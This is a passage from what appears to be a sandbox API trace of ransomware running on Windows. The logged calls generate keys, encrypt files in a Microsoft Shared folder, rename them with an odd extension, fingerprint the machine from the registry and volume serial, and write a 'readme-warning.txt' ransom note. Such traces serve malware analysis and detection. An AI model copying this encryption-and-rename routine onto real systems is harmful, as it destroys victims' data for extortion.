(hObject=0x118) returned 1 [0151.849] GetProcessHeap () returned 0x2a0000 [0151.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.850] GetProcessHeap () returned 0x2a0000 [0151.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.850] GetProcessHeap () returned 0x2a0000 [0151.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.850] GetProcessHeap () returned 0x2a0000 [0151.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.850] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.850] GetProcessHeap () returned 0x2a0000 [0151.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.850] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0151.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0151.851] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=2120459) returned 1 [0151.851] GetProcessHeap () returned 0x2a0000 [0151.851] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.851] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f26c*=0x5, lpOverlapped=0x0) returned 1 [0151.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0151.853] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.853] GetProcessHeap () returned 0x2a0000 [0151.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.853] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30) returned 1 [0151.853] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.853] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f26c*=0x30, lpOverlapped=0x0) returned 1 [0151.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, lpOverlapped=0x0) returned 1 [0151.853] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0151.853] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0151.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0151.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0151.854] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0151.854] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0151.854] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0151.863] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0151.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.869] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0151.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0151.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0151.870] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0151.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0151.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xac903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.879] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0151.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.880] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0151.880] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0151.881] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0151.887] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0151.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c5b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.889] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0151.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.890] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0151.891] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x205bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.891] SetEndOfFile (hFile=0x114) returned 1 [0151.894] GetProcessHeap () returned 0x2a0000 [0151.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.894] GetProcessHeap () returned 0x2a0000 [0151.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.kjhslgjkjdfg")) returned 1 [0151.895] CloseHandle (hObject=0x114) returned 1 [0151.895] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0151.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0151.896] GetProcessHeap () returned 0x2a0000 [0151.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0151.896] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0151.896] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.896] GetProcessHeap () returned 0x2a0000 [0151.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.897] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0151.897] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.897] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0151.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0151.900] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0151.900] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0151.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0151.900] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0151.900] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0151.900] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.900] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x600, lpOverlapped=0x0) returned 1 [0151.900] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600, dwBufLen=0x600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600) returned 1 [0151.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.900] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x600, lpOverlapped=0x0) returned 1 [0151.900] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.901] SetEndOfFile (hFile=0x114) returned 1 [0151.903] GetProcessHeap () returned 0x2a0000 [0151.903] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.903] GetProcessHeap () returned 0x2a0000 [0151.903] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.kjhslgjkjdfg")) returned 1 [0151.904] CloseHandle (hObject=0x114) returned 1 [0151.905] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0151.905] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0151.905] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0151.905] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0151.905] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0151.905] GetProcessHeap () returned 0x2a0000 [0151.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.905] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0151.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.905] GetProcessHeap () returned 0x2a0000 [0151.905] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.905] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.905] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0151.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.905] GetProcessHeap () returned 0x2a0000 [0151.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0151.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.906] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0151.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.906] GetProcessHeap () returned 0x2a0000 [0151.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.906] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0151.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.906] GetProcessHeap () returned 0x2a0000 [0151.906] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.906] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0151.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.906] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0151.906] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0151.906] RegCloseKey (hKey=0x114) returned 0x0 [0151.907] GetProcessHeap () returned 0x2a0000 [0151.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.907] GetProcessHeap () returned 0x2a0000 [0151.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.907] GetProcessHeap () returned 0x2a0000 [0151.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.907] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0151.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.907] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.907] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.907] GetProcessHeap () returned 0x2a0000 [0151.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.907] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.907] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.907] GetProcessHeap () returned 0x2a0000 [0151.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7720 [0151.907] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt") returned 74 [0151.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0151.908] WriteFile (in: hFile=0x114, lpBuffer=0x2f7720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f7720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0151.909] CloseHandle (hObject=0x114) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7720 | out: hHeap=0x2a0000) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.910] GetProcessHeap () returned 0x2a0000 [0151.910] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 